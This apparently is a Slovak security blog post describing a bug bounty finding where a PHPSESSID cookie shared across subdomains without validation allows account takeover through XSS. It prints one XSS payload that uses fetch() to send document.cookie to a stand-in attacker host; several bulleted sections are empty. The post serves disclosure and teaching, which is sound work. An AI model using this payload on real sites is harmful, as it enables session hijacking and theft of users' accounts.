🔒 SecWatch

Keď jedna session vládne všetkým: PHPSESSID ako vstupenka do cudzích účtov

Keď som testoval jeden z cieľov v rámci bug bounty programu, narazil som na zraniteľnosť, ktorá ma šokovala svojou jednoduchosťou. Testoval som jeden cieľ a objavil som chybu, ktorá sa dá prirovnať k tomu, že sa niekto dostane do VIP zóny len tým, že pozná číslo na kartičke. Session ID bez akejkoľvek validácie slúžilo ako voľná vstupenka. Tento článok odhaľuje chybu, ktorá môže viesť k útoku typu account takeover cez zle nakonfigurovanú session cookie: PHPSESSID.

Kontext a výskyt

Pri testovaní jednej nemenovanej webovej aplikácie som si všimol zaujímavé správanie: aplikácia rozdelená medzi dve rôzne subdomény — povedzme main.target.com a dashboard.target.com — používala zdieľanú session cookie PHPSESSID. Pri prihlásení cez jednu z týchto subdomén zostal prístup k rovnakému účtu dostupný aj pri prechode na druhú subdoménu.

To poukazuje na:

Prečo je to problém?

Ak sa v tejto hlavnej subdoméne nachádza XSS (napríklad DOM-based zraniteľnosť cez nevalidovaný URL parameter), môže útočník zneužiť fakt, že má cez JavaScript prístup k session cookie. V spojení s tým, že backend akceptuje túto cookie aj na inej subdoméne (napr. kde je administrácia), vzniká:

Priamy vektor na session hijacking:

<script>fetch('https://attacker.burpcollab.me/?c='+document.cookie)</script>

Tento jednoduchý payload umožní exfiltrovať platné sessions všetkým návštevníkom hlavnej stránky. Akonáhle obe subdomény zdieľajú autentifikáciu, stačí útočníkovi túto cookie nasadiť do svojho prehliadača — a voilà, má prístup k účtu nič netušiacej obete.

Skutočný problém: Žiadna validácia session ID

Najkritickejšia časť celej zraniteľnosti spočívala v tom, že stačilo poznať PHPSESSID iného používateľa a aplikácia ho okamžite považovala za platného. Bez akéhokoľvek ďalšieho overenia:

To je obrovský bezpečnostný fail, pretože to znamená, že akýkoľvek únik alebo krádež tejto hodnoty = okamžitý takeover bez akýchkoľvek bariér.


Praktický scenár

Predstav si, že webová služba poskytuje optimalizačný nástroj na správu webstránok. Hlavná stránka main.target.com prezentuje marketingový obsah a dokumentáciu. Admin rozhranie na dashboard.target.com poskytuje kompletný prístup k účtu – vrátane konfigurácie, účtov, API kľúčov a výkonnostných metrík.

Aj keď marketingový web nemá žiadne citlivé funkcionality, ak obsahuje napr. nezabezpečený vyhľadávací parameter, môže byť vstupnou bránou do celého účtu cez XSS a následný session hijack. A vďaka absencii session validácie útočník potrebuje len session ID – žiadne heslo, žiadne potvrdenie.

Dopady

Odporúčania pre vývojárov:


Záver

Zle nakonfigurovaný PHPSESSID je ako otvorené zadné dvere do pevnosti. Ak sa navyše aplikácia vôbec nesnaží overiť platnosť session ID, ide o vysokorizikovú kombináciu, ktorú môže zneužiť ktokoľvek so základnými znalosťami webovej bezpečnosti.

Na prvý pohľad nenápadná chyba má silu kompromitovať celé používateľské účty bez jediného phishingového e-mailu. Ak by ste túto chybu našli na produkčnej webovej aplikácii v rámci bug bounty programu, výsledkom môže byť nielen high severity report, ale aj reálna ochrana používateľských údajov pred zneužitím.

Napísané pre blog SECWATCH.SK autor: Martin aka Lanco